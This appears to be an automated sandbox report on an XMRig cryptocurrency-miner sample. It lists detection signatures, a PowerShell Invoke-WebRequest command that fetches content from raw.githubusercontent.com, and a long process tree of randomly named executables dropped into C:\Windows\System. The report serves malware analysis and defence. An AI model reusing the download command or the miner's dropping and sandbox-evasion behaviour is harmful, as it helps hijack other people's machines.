Analysis
- max time kernel
106s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
19/05/2024, 01:46
General
- Target 49a00717fcc6a1231fb4a7086e99a130_NeikiAnalytics.exe
- Size 2.7MB
- Sample240519-b7bp2sca9s
- SHA256 23ce4a39bf6a24e539b6bf4c1ac4eb3d8293bb551577c7f7cfa3f981ea99878c
Score
10/10
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 64 IoCs
- Blocklisted process makes network request 6 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
- Executes dropped EXE 64 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Drops file in Windows directory 64 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 2 IoCs
- Modifies data under HKEY_USERS 18 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 9 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\49a00717fcc6a1231fb4a7086e99a130_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\49a00717fcc6a1231fb4a7086e99a130_NeikiAnalytics.exe"1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System\WwMHrTK.exeC:\Windows\System\WwMHrTK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\rclvPEw.exeC:\Windows\System\rclvPEw.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\blyFKdQ.exeC:\Windows\System\blyFKdQ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\HloOaVn.exeC:\Windows\System\HloOaVn.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\yvNwiNB.exeC:\Windows\System\yvNwiNB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\pGwJVKc.exeC:\Windows\System\pGwJVKc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GnwhIjn.exeC:\Windows\System\GnwhIjn.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lBtiUbJ.exeC:\Windows\System\lBtiUbJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\aQaeEzm.exeC:\Windows\System\aQaeEzm.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\OGWCEEj.exeC:\Windows\System\OGWCEEj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\wdyimaY.exeC:\Windows\System\wdyimaY.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GJJrVNz.exeC:\Windows\System\GJJrVNz.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\xgWdyNH.exeC:\Windows\System\xgWdyNH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\UZKlcNj.exeC:\Windows\System\UZKlcNj.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\roqRhsI.exeC:\Windows\System\roqRhsI.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lTNjzce.exeC:\Windows\System\lTNjzce.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lyqCpzJ.exeC:\Windows\System\lyqCpzJ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lxAYLca.exeC:\Windows\System\lxAYLca.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\PwAzZvH.exeC:\Windows\System\PwAzZvH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\sQLWLzZ.exeC:\Windows\System\sQLWLzZ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mNGvFVb.exeC:\Windows\System\mNGvFVb.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\jLLcEYc.exeC:\Windows\System\jLLcEYc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\obWZZfe.exeC:\Windows\System\obWZZfe.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\mYkTpaa.exeC:\Windows\System\mYkTpaa.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XJrZbIs.exeC:\Windows\System\XJrZbIs.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XRvnCrg.exeC:\Windows\System\XRvnCrg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ThZsJcW.exeC:\Windows\System\ThZsJcW.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\hEsKWva.exeC:\Windows\System\hEsKWva.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\xCRSIeE.exeC:\Windows\System\xCRSIeE.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\XzWBIfW.exeC:\Windows\System\XzWBIfW.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\uupbINO.exeC:\Windows\System\uupbINO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bWtZLNx.exeC:\Windows\System\bWtZLNx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GXykbKK.exeC:\Windows\System\GXykbKK.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\AqgRvvl.exeC:\Windows\System\AqgRvvl.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KKcBpKO.exeC:\Windows\System\KKcBpKO.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\yNMETSA.exeC:\Windows\System\yNMETSA.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ZSyxfGB.exeC:\Windows\System\ZSyxfGB.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\FZBGHRx.exeC:\Windows\System\FZBGHRx.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ZlndZUH.exeC:\Windows\System\ZlndZUH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\eVLhlRf.exeC:\Windows\System\eVLhlRf.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ixOiYhT.exeC:\Windows\System\ixOiYhT.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\YkdrXLQ.exeC:\Windows\System\YkdrXLQ.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bGdOIAu.exeC:\Windows\System\bGdOIAu.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\kbcuSlg.exeC:\Windows\System\kbcuSlg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\uzaWQGS.exeC:\Windows\System\uzaWQGS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lAhXmZf.exeC:\Windows\System\lAhXmZf.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\RWGnCza.exeC:\Windows\System\RWGnCza.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\zrZwrnV.exeC:\Windows\System\zrZwrnV.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\cKCBlOe.exeC:\Windows\System\cKCBlOe.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\ndPfkwg.exeC:\Windows\System\ndPfkwg.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\QckVcfe.exeC:\Windows\System\QckVcfe.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\vNCPWSr.exeC:\Windows\System\vNCPWSr.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\debWLQy.exeC:\Windows\System\debWLQy.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fyGTnMS.exeC:\Windows\System\fyGTnMS.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\fVIScHP.exeC:\Windows\System\fVIScHP.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\twPPklc.exeC:\Windows\System\twPPklc.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\lLQkoIo.exeC:\Windows\System\lLQkoIo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\gtlZeEA.exeC:\Windows\System\gtlZeEA.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\GMUGYPo.exeC:\Windows\System\GMUGYPo.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\BbATSZH.exeC:\Windows\System\BbATSZH.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\bZGpswf.exeC:\Windows\System\bZGpswf.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\AUkoNnw.exeC:\Windows\System\AUkoNnw.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\zhffVNt.exeC:\Windows\System\zhffVNt.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\VQGLpDs.exeC:\Windows\System\VQGLpDs.exe2⤵
- Executes dropped EXE
-
-
C:\Windows\System\KVBXlbx.exeC:\Windows\System\KVBXlbx.exe2⤵
-
-
C:\Windows\System\IjqqjdI.exeC:\Windows\System\IjqqjdI.exe2⤵
-
-
C:\Windows\System\AfdXiLZ.exeC:\Windows\System\AfdXiLZ.exe2⤵
-
-
C:\Windows\System\MTZrWeH.exeC:\Windows\System\MTZrWeH.exe2⤵
-
-
C:\Windows\System\FqRnwYQ.exeC:\Windows\System\FqRnwYQ.exe2⤵
-
-
C:\Windows\System\evCAgvB.exeC:\Windows\System\evCAgvB.exe2⤵
-
-
C:\Windows\System\otWyETB.exeC:\Windows\System\otWyETB.exe2⤵
-
-
C:\Windows\System\QBekskF.exeC:\Windows\System\QBekskF.exe2⤵
-
-
C:\Windows\System\EKptdAs.exeC:\Windows\System\EKptdAs.exe2⤵
-
-
C:\Windows\System\bCAoxnY.exeC:\Windows\System\bCAoxnY.exe2⤵
-
-
C:\Windows\System\pVaMfTu.exeC:\Windows\System\pVaMfTu.exe2⤵
-
-
C:\Windows\System\taHeJME.exeC:\Windows\System\taHeJME.exe2⤵
-
-
C:\Windows\System\CsiSfqm.exeC:\Windows\System\CsiSfqm.exe2⤵
-
-
C:\Windows\System\TpqLhVU.exeC:\Windows\System\TpqLhVU.exe2⤵
-
-
C:\Windows\System\VANIfmF.exeC:\Windows\System\VANIfmF.exe2⤵
-
-
C:\Windows\System\KidLymc.exeC:\Windows\System\KidLymc.exe2⤵
-
-
C:\Windows\System\meZUvzA.exeC:\Windows\System\meZUvzA.exe2⤵
-
-
C:\Windows\System\CtYWZOV.exeC:\Windows\System\CtYWZOV.exe2⤵
-
-
C:\Windows\System\SMhvacl.exeC:\Windows\System\SMhvacl.exe2⤵
-
-
C:\Windows\System\xkTHBmj.exeC:\Windows\System\xkTHBmj.exe2⤵
-
-
C:\Windows\System\cjtYTgU.exeC:\Windows\System\cjtYTgU.exe2⤵
-
-
C:\Windows\System\miHijFh.exeC:\Windows\System\miHijFh.exe2⤵
-
-
C:\Windows\System\UezleLd.exeC:\Windows\System\UezleLd.exe2⤵
-
-
C:\Windows\System\WHNUMvI.exeC:\Windows\System\WHNUMvI.exe2⤵
-
-
C:\Windows\System\PbBIGqW.exeC:\Windows\System\PbBIGqW.exe2⤵
-
-
C:\Windows\System\omKdTvh.exeC:\Windows\System\omKdTvh.exe2⤵
-
-
C:\Windows\System\hSfLlSU.exeC:\Windows\System\hSfLlSU.exe2⤵
-
-
C:\Windows\System\ilGAOLw.exeC:\Windows\System\ilGAOLw.exe2⤵
-
-
C:\Windows\System\WddDrnu.exeC:\Windows\System\WddDrnu.exe2⤵
-
-
C:\Windows\System\EzxrvJx.exeC:\Windows\System\EzxrvJx.exe2⤵
-
-
C:\Windows\System\tiJgtjz.exeC:\Windows\System\tiJgtjz.exe2⤵
-
-
C:\Windows\System\mNVDnnl.exeC:\Windows\System\mNVDnnl.exe2⤵
-
-
C:\Windows\System\CJZbTEA.exeC:\Windows\System\CJZbTEA.exe2⤵
-
-
C:\Windows\System\XDPuyas.exeC:\Windows\System\XDPuyas.exe2⤵
-
-
C:\Windows\System\uyhgEUS.exeC:\Windows\System\uyhgEUS.exe2⤵
-
-
C:\Windows\System\IoCMtFy.exeC:\Windows\System\IoCMtFy.exe2⤵
-
-
C:\Windows\System\LsCOdWp.exeC:\Windows\System\LsCOdWp.exe2⤵
-
-
C:\Windows\System\ASoQcUQ.exeC:\Windows\System\ASoQcUQ.exe2⤵
-
-
C:\Windows\System\eOxvgER.exeC:\Windows\System\eOxvgER.exe2⤵
-
-
C:\Windows\System\rWDDIVe.exeC:\Windows\System\rWDDIVe.exe2⤵
-
-
C:\Windows\System\XGqraCh.exeC:\Windows\System\XGqraCh.exe2⤵
-
-
C:\Windows\System\dgwgRaL.exeC:\Windows\System\dgwgRaL.exe2⤵
-
-
C:\Windows\System\QyVLWpa.exeC:\Windows\System\QyVLWpa.exe2⤵
-
-
C:\Windows\System\SWGOtZG.exeC:\Windows\System\SWGOtZG.exe2⤵
-
-
C:\Windows\System\lpBAjFE.exeC:\Windows\System\lpBAjFE.exe2⤵
-
-
C:\Windows\System\nSImomV.exeC:\Windows\System\nSImomV.exe2⤵
-
-
C:\Windows\System\MXuUFHR.exeC:\Windows\System\MXuUFHR.exe2⤵
-
-
C:\Windows\System\giamHBV.exeC:\Windows\System\giamHBV.exe2⤵
-
-
C:\Windows\System\CXqbpEY.exeC:\Windows\System\CXqbpEY.exe2⤵
-
-
C:\Windows\System\COzOeNK.exeC:\Windows\System\COzOeNK.exe2⤵
-
-
C:\Windows\System\WWvVjDI.exeC:\Windows\System\WWvVjDI.exe2⤵
-
-
C:\Windows\System\NOnoCbw.exeC:\Windows\System\NOnoCbw.exe2⤵
-
-
C:\Windows\System\TQrJbjA.exeC:\Windows\System\TQrJbjA.exe2⤵
-
-
C:\Windows\System\nDTsIrB.exeC:\Windows\System\nDTsIrB.exe2⤵
-
-
C:\Windows\System\qKALAgu.exeC:\Windows\System\qKALAgu.exe2⤵
-
-
C:\Windows\System\KNLhttF.exeC:\Windows\System\KNLhttF.exe2⤵
-
-
C:\Windows\System\kAWRDSv.exeC:\Windows\System\kAWRDSv.exe2⤵
-
-
C:\Windows\System\aqGSQEC.exeC:\Windows\System\aqGSQEC.exe2⤵
-
-
C:\Windows\System\oBmPlCn.exeC:\Windows\System\oBmPlCn.exe2⤵
-
-
C:\Windows\System\dXNDmZZ.exeC:\Windows\System\dXNDmZZ.exe2⤵
-
-
C:\Windows\System\CTdZSgo.exeC:\Windows\System\CTdZSgo.exe2⤵
-
-
C:\Windows\System\VjqrrIj.exeC:\Windows\System\VjqrrIj.exe2⤵
-
-
C:\Windows\System\UOJzcxR.exeC:\Windows\System\UOJzcxR.exe2⤵
-
-
C:\Windows\System\BjOIqxy.exeC:\Windows\System\BjOIqxy.exe2⤵
-
-
C:\Windows\System\bLxpvry.exeC:\Windows\System\bLxpvry.exe2⤵
-
-
C:\Windows\System\gfIPSUz.exeC:\Windows\System\gfIPSUz.exe2⤵
-
-
C:\Windows\System\CkUTcnp.exeC:\Windows\System\CkUTcnp.exe2⤵
-
-
C:\Windows\System\EHADXbE.exeC:\Windows\System\EHADXbE.exe2⤵
-
-
C:\Windows\System\wZmajBj.exeC:\Windows\System\wZmajBj.exe2⤵
-
-
C:\Windows\System\iBDOjoe.exeC:\Windows\System\iBDOjoe.exe2⤵
-
-
C:\Windows\System\bxzlLuv.exeC:\Windows\System\bxzlLuv.exe2⤵
-
-
C:\Windows\System\McAfrcT.exeC:\Windows\System\McAfrcT.exe2⤵
-
-
C:\Windows\System\EpUXnRu.exeC:\Windows\System\EpUXnRu.exe2⤵
-
-
C:\Windows\System\DGoPoGY.exeC:\Windows\System\DGoPoGY.exe2⤵
-
-
C:\Windows\System\hlzoOqP.exeC:\Windows\System\hlzoOqP.exe2⤵
-
-
C:\Windows\System\LYtXkDS.exeC:\Windows\System\LYtXkDS.exe2⤵
-
-
C:\Windows\System\zwscBYA.exeC:\Windows\System\zwscBYA.exe2⤵
-
-
C:\Windows\System\Uzgwzmi.exeC:\Windows\System\Uzgwzmi.exe2⤵
-
-
C:\Windows\System\NvXlAkX.exeC:\Windows\System\NvXlAkX.exe2⤵
-
-
C:\Windows\System\OePYvpZ.exeC:\Windows\System\OePYvpZ.exe2⤵
-
-
C:\Windows\System\FQaZhLV.exeC:\Windows\System\FQaZhLV.exe2⤵
-
-
C:\Windows\System\LAumCZj.exeC:\Windows\System\LAumCZj.exe2⤵
-
-
C:\Windows\System\eEvjgDu.exeC:\Windows\System\eEvjgDu.exe2⤵
-
-
C:\Windows\System\XdqwfBy.exeC:\Windows\System\XdqwfBy.exe2⤵
-
-
C:\Windows\System\BcxZUgM.exeC:\Windows\System\BcxZUgM.exe2⤵
-
-
C:\Windows\System\XwiOaeC.exeC:\Windows\System\XwiOaeC.exe2⤵
-
-
C:\Windows\System\KCHDvwk.exeC:\Windows\System\KCHDvwk.exe2⤵
-
-
C:\Windows\System\RaAjJzh.exeC:\Windows\System\RaAjJzh.exe2⤵
-
-
C:\Windows\System\xPzydsC.exeC:\Windows\System\xPzydsC.exe2⤵
-
-
C:\Windows\System\hHDoOEl.exeC:\Windows\System\hHDoOEl.exe2⤵
-
-
C:\Windows\System\TjFCLKd.exeC:\Windows\System\TjFCLKd.exe2⤵
-
-
C:\Windows\System\SUGxnXD.exeC:\Windows\System\SUGxnXD.exe2⤵
-
-
C:\Windows\System\zZHAICH.exeC:\Windows\System\zZHAICH.exe2⤵
-
-
C:\Windows\System\MhHPeOE.exeC:\Windows\System\MhHPeOE.exe2⤵
-
-
C:\Windows\System\LAtATJK.exeC:\Windows\System\LAtATJK.exe2⤵
-
-
C:\Windows\System\uXJOaav.exeC:\Windows\System\uXJOaav.exe2⤵
-
-
C:\Windows\System\gQSQzez.exeC:\Windows\System\gQSQzez.exe2⤵
-
-
C:\Windows\System\VZTybkH.exeC:\Windows\System\VZTybkH.exe2⤵
-
-
C:\Windows\System\BdTkFnW.exeC:\Windows\System\BdTkFnW.exe2⤵
-
-
C:\Windows\System\YRjsXkR.exeC:\Windows\System\YRjsXkR.exe2⤵
-
-
C:\Windows\System\yrArZbh.exeC:\Windows\System\yrArZbh.exe2⤵
-
-
C:\Windows\System\ZpLpBKg.exeC:\Windows\System\ZpLpBKg.exe2⤵
-
-
C:\Windows\System\VJNrknE.exeC:\Windows\System\VJNrknE.exe2⤵
-
-
C:\Windows\System\xDvLZnA.exeC:\Windows\System\xDvLZnA.exe2⤵
-
-
C:\Windows\System\KEwywvQ.exeC:\Windows\System\KEwywvQ.exe2⤵
-
-
C:\Windows\System\FwMxqzA.exeC:\Windows\System\FwMxqzA.exe2⤵
-
-
C:\Windows\System\ZtjBSBQ.exeC:\Windows\System\ZtjBSBQ.exe2⤵
-
-
C:\Windows\System\KLLZZYQ.exeC:\Windows\System\KLLZZYQ.exe2⤵
-
-
C:\Windows\System\sayGpSK.exeC:\Windows\System\sayGpSK.exe2⤵
-
-
C:\Windows\System\bLDUmqg.exeC:\Windows\System\bLDUmqg.exe2⤵
-
-
C:\Windows\System\NauRlHi.exeC:\Windows\System\NauRlHi.exe2⤵
-
-
C:\Windows\System\NdsddWH.exeC:\Windows\System\NdsddWH.exe2⤵
-
-
C:\Windows\System\yGiPGiU.exeC:\Windows\System\yGiPGiU.exe2⤵
-
-
C:\Windows\System\ZbPqmrY.exeC:\Windows\System\ZbPqmrY.exe2⤵
-
-
C:\Windows\System\HrIaRsk.exeC:\Windows\System\HrIaRsk.exe2⤵
-
-
C:\Windows\System\hQYcGvV.exeC:\Windows\System\hQYcGvV.exe2⤵
-
-
C:\Windows\System\ARktYAi.exeC:\Windows\System\ARktYAi.exe2⤵
-
-
C:\Windows\System\mVUwFOh.exeC:\Windows\System\mVUwFOh.exe2⤵
-
-
C:\Windows\System\gBsztIX.exeC:\Windows\System\gBsztIX.exe2⤵
-
-
C:\Windows\System\ouEDZsG.exeC:\Windows\System\ouEDZsG.exe2⤵
-
-
C:\Windows\System\SvHMybc.exeC:\Windows\System\SvHMybc.exe2⤵
-
-
C:\Windows\System\LSXjUaA.exeC:\Windows\System\LSXjUaA.exe2⤵
-
-
C:\Windows\System\uNdtwjZ.exeC:\Windows\System\uNdtwjZ.exe2⤵
-
-
C:\Windows\System\kcUlHVp.exeC:\Windows\System\kcUlHVp.exe2⤵
-
-
C:\Windows\System\tEGvqNp.exeC:\Windows\System\tEGvqNp.exe2⤵
-
-
C:\Windows\System\gADEyyv.exeC:\Windows\System\gADEyyv.exe2⤵
-
-
C:\Windows\System\qxmqoAy.exeC:\Windows\System\qxmqoAy.exe2⤵
-
-
C:\Windows\System\NRfaZJC.exeC:\Windows\System\NRfaZJC.exe2⤵
-
-
C:\Windows\System\akMqKfM.exeC:\Windows\System\akMqKfM.exe2⤵
-
-
C:\Windows\System\RRmICcx.exeC:\Windows\System\RRmICcx.exe2⤵
-
-
C:\Windows\System\oeZjght.exeC:\Windows\System\oeZjght.exe2⤵
-
-
C:\Windows\System\RdyWbYy.exeC:\Windows\System\RdyWbYy.exe2⤵
-
-
C:\Windows\System\nHgGgMc.exeC:\Windows\System\nHgGgMc.exe2⤵
-
-
C:\Windows\System\gkQyyAh.exeC:\Windows\System\gkQyyAh.exe2⤵
-
-
C:\Windows\System\JenWnFj.exeC:\Windows\System\JenWnFj.exe2⤵
-
-
C:\Windows\System\bnXjngc.exeC:\Windows\System\bnXjngc.exe2⤵
-
-
C:\Windows\System\eKuAdBS.exeC:\Windows\System\eKuAdBS.exe2⤵
-
-
C:\Windows\System\AeFOmQf.exeC:\Windows\System\AeFOmQf.exe2⤵
-
-
C:\Windows\System\ysVnGCX.exeC:\Windows\System\ysVnGCX.exe2⤵
-
-
C:\Windows\System\WsNfkSB.exeC:\Windows\System\WsNfkSB.exe2⤵
-
-
C:\Windows\System\ofSGWYp.exeC:\Windows\System\ofSGWYp.exe2⤵
-
-
C:\Windows\System\IuLLhCi.exeC:\Windows\System\IuLLhCi.exe2⤵
-
-
C:\Windows\System\kuAQKCP.exeC:\Windows\System\kuAQKCP.exe2⤵
-
-
C:\Windows\System\LpdWpih.exeC:\Windows\System\LpdWpih.exe2⤵
-
-
C:\Windows\System\SczEHmv.exeC:\Windows\System\SczEHmv.exe2⤵
-
-
C:\Windows\System\UbFSxiE.exeC:\Windows\System\UbFSxiE.exe2⤵
-
-
C:\Windows\System\WjellHO.exeC:\Windows\System\WjellHO.exe2⤵
-
-
C:\Windows\System\QwwXuLK.exeC:\Windows\System\QwwXuLK.exe2⤵
-
-
C:\Windows\System\PZPfHtj.exeC:\Windows\System\PZPfHtj.exe2⤵
-
-
C:\Windows\System\TPphxGF.exeC:\Windows\System\TPphxGF.exe2⤵
-
-
C:\Windows\System\PwuBoAR.exeC:\Windows\System\PwuBoAR.exe2⤵
-
-
C:\Windows\System\ttTCDgR.exeC:\Windows\System\ttTCDgR.exe2⤵
-
-
C:\Windows\System\KQIyARD.exeC:\Windows\System\KQIyARD.exe2⤵
-
-
C:\Windows\System\jIZgHvI.exeC:\Windows\System\jIZgHvI.exe2⤵
-
-
C:\Windows\System\JDJiAwM.exeC:\Windows\System\JDJiAwM.exe2⤵
-
-
C:\Windows\System\coZBfbE.exeC:\Windows\System\coZBfbE.exe2⤵
-
-
C:\Windows\System\MsOmIGa.exeC:\Windows\System\MsOmIGa.exe2⤵
-
-
C:\Windows\System\KdDKJrN.exeC:\Windows\System\KdDKJrN.exe2⤵
-
-
C:\Windows\System\zPkWgTe.exeC:\Windows\System\zPkWgTe.exe2⤵
-
-
C:\Windows\System\eNzOemN.exeC:\Windows\System\eNzOemN.exe2⤵
-
-
C:\Windows\System\pCvwzDH.exeC:\Windows\System\pCvwzDH.exe2⤵
-
-
C:\Windows\System\wBxQjzR.exeC:\Windows\System\wBxQjzR.exe2⤵
-
-
C:\Windows\System\ltawYHp.exeC:\Windows\System\ltawYHp.exe2⤵
-
-
C:\Windows\System\qXiteyZ.exeC:\Windows\System\qXiteyZ.exe2⤵
-
-
C:\Windows\System\xlfJYuE.exeC:\Windows\System\xlfJYuE.exe2⤵
-
-
C:\Windows\System\QOJQylF.exeC:\Windows\System\QOJQylF.exe2⤵
-
-
C:\Windows\System\ZBBqUCc.exeC:\Windows\System\ZBBqUCc.exe2⤵
-
-
C:\Windows\System\aHhDETl.exeC:\Windows\System\aHhDETl.exe2⤵
-
-
C:\Windows\System\PTVNuHw.exeC:\Windows\System\PTVNuHw.exe2⤵
-
-
C:\Windows\System\ubNWcBF.exeC:\Windows\System\ubNWcBF.exe2⤵
-
-
C:\Windows\System\qxSPDaW.exeC:\Windows\System\qxSPDaW.exe2⤵
-
-
C:\Windows\System\leTSliE.exeC:\Windows\System\leTSliE.exe2⤵
-
-
C:\Windows\System\fnvJthG.exeC:\Windows\System\fnvJthG.exe2⤵
-
-
C:\Windows\System\KpIpciQ.exeC:\Windows\System\KpIpciQ.exe2⤵
-
-
C:\Windows\System\VzwIQGs.exeC:\Windows\System\VzwIQGs.exe2⤵
-
-
C:\Windows\System\KEzJhIl.exeC:\Windows\System\KEzJhIl.exe2⤵
-
-
C:\Windows\System\wfsJGrk.exeC:\Windows\System\wfsJGrk.exe2⤵
-
-
C:\Windows\System\IDtTUjQ.exeC:\Windows\System\IDtTUjQ.exe2⤵
-
-
C:\Windows\System\tYqvxDs.exeC:\Windows\System\tYqvxDs.exe2⤵
-
-
C:\Windows\System\CEwSSUg.exeC:\Windows\System\CEwSSUg.exe2⤵
-
-
C:\Windows\System\qSiJEDe.exeC:\Windows\System\qSiJEDe.exe2⤵
-
-
C:\Windows\System\mxMqWwS.exeC:\Windows\System\mxMqWwS.exe2⤵
-
-
C:\Windows\System\zeipWHg.exeC:\Windows\System\zeipWHg.exe2⤵
-
-
C:\Windows\System\xmCWDoF.exeC:\Windows\System\xmCWDoF.exe2⤵
-
-
C:\Windows\System\ljYiBwx.exeC:\Windows\System\ljYiBwx.exe2⤵
-
-
C:\Windows\System\VjGteSF.exeC:\Windows\System\VjGteSF.exe2⤵
-
-
C:\Windows\System\wxJbChm.exeC:\Windows\System\wxJbChm.exe2⤵
-
-
C:\Windows\System\dPLSQlG.exeC:\Windows\System\dPLSQlG.exe2⤵
-
-
C:\Windows\System\EZjpRwQ.exeC:\Windows\System\EZjpRwQ.exe2⤵
-
-
C:\Windows\System\tGkkByF.exeC:\Windows\System\tGkkByF.exe2⤵
-
-
C:\Windows\System\fxCYcEw.exeC:\Windows\System\fxCYcEw.exe2⤵
-
-
C:\Windows\System\JOuIPGJ.exeC:\Windows\System\JOuIPGJ.exe2⤵
-
-
C:\Windows\System\QKjNoGm.exeC:\Windows\System\QKjNoGm.exe2⤵
-
-
C:\Windows\System\aUGGdWy.exeC:\Windows\System\aUGGdWy.exe2⤵
-
-
C:\Windows\System\iKLEiEr.exeC:\Windows\System\iKLEiEr.exe2⤵
-
-
C:\Windows\System\AIkznQR.exeC:\Windows\System\AIkznQR.exe2⤵
-
-
C:\Windows\System\dQUeAEB.exeC:\Windows\System\dQUeAEB.exe2⤵
-
-
C:\Windows\System\ECjZpMs.exeC:\Windows\System\ECjZpMs.exe2⤵
-
-
C:\Windows\System\VNTOTMr.exeC:\Windows\System\VNTOTMr.exe2⤵
-
-
C:\Windows\System\TpgDhbp.exeC:\Windows\System\TpgDhbp.exe2⤵
-
-
C:\Windows\System\eALksBr.exeC:\Windows\System\eALksBr.exe2⤵
-
-
C:\Windows\System\MBWmVPm.exeC:\Windows\System\MBWmVPm.exe2⤵
-
-
C:\Windows\System\QzRoNEm.exeC:\Windows\System\QzRoNEm.exe2⤵
-
-
C:\Windows\System\fxdKwoC.exeC:\Windows\System\fxdKwoC.exe2⤵
-
-
C:\Windows\System\lGaSxZB.exeC:\Windows\System\lGaSxZB.exe2⤵
-
-
C:\Windows\System\VnclTRy.exeC:\Windows\System\VnclTRy.exe2⤵
-
-
C:\Windows\System\sAsmEvf.exeC:\Windows\System\sAsmEvf.exe2⤵
-
-
C:\Windows\System\UDJYKNo.exeC:\Windows\System\UDJYKNo.exe2⤵
-
-
C:\Windows\System\haAOipD.exeC:\Windows\System\haAOipD.exe2⤵
-
-
C:\Windows\System\lJSfmIw.exeC:\Windows\System\lJSfmIw.exe2⤵
-
-
C:\Windows\System\KuGCcNK.exeC:\Windows\System\KuGCcNK.exe2⤵
-
-
C:\Windows\System\vZyJkFL.exeC:\Windows\System\vZyJkFL.exe2⤵
-
-
C:\Windows\System\VquyIJF.exeC:\Windows\System\VquyIJF.exe2⤵
-
-
C:\Windows\System\wgKekyF.exeC:\Windows\System\wgKekyF.exe2⤵
-
-
C:\Windows\System\VDMFBDD.exeC:\Windows\System\VDMFBDD.exe2⤵
-
-
C:\Windows\System\pXElMDw.exeC:\Windows\System\pXElMDw.exe2⤵
-
-
C:\Windows\System\UzTBjal.exeC:\Windows\System\UzTBjal.exe2⤵
-
-
C:\Windows\System\RYEkiXi.exeC:\Windows\System\RYEkiXi.exe2⤵
-
-
C:\Windows\System\zDprCXz.exeC:\Windows\System\zDprCXz.exe2⤵
-
-
C:\Windows\System\QFrDAOp.exeC:\Windows\System\QFrDAOp.exe2⤵
-
-
C:\Windows\System\FrekFkR.exeC:\Windows\System\FrekFkR.exe2⤵
-
-
C:\Windows\System\iyHDfoz.exeC:\Windows\System\iyHDfoz.exe2⤵
-
-
C:\Windows\System\IoiXeke.exeC:\Windows\System\IoiXeke.exe2⤵
-
-
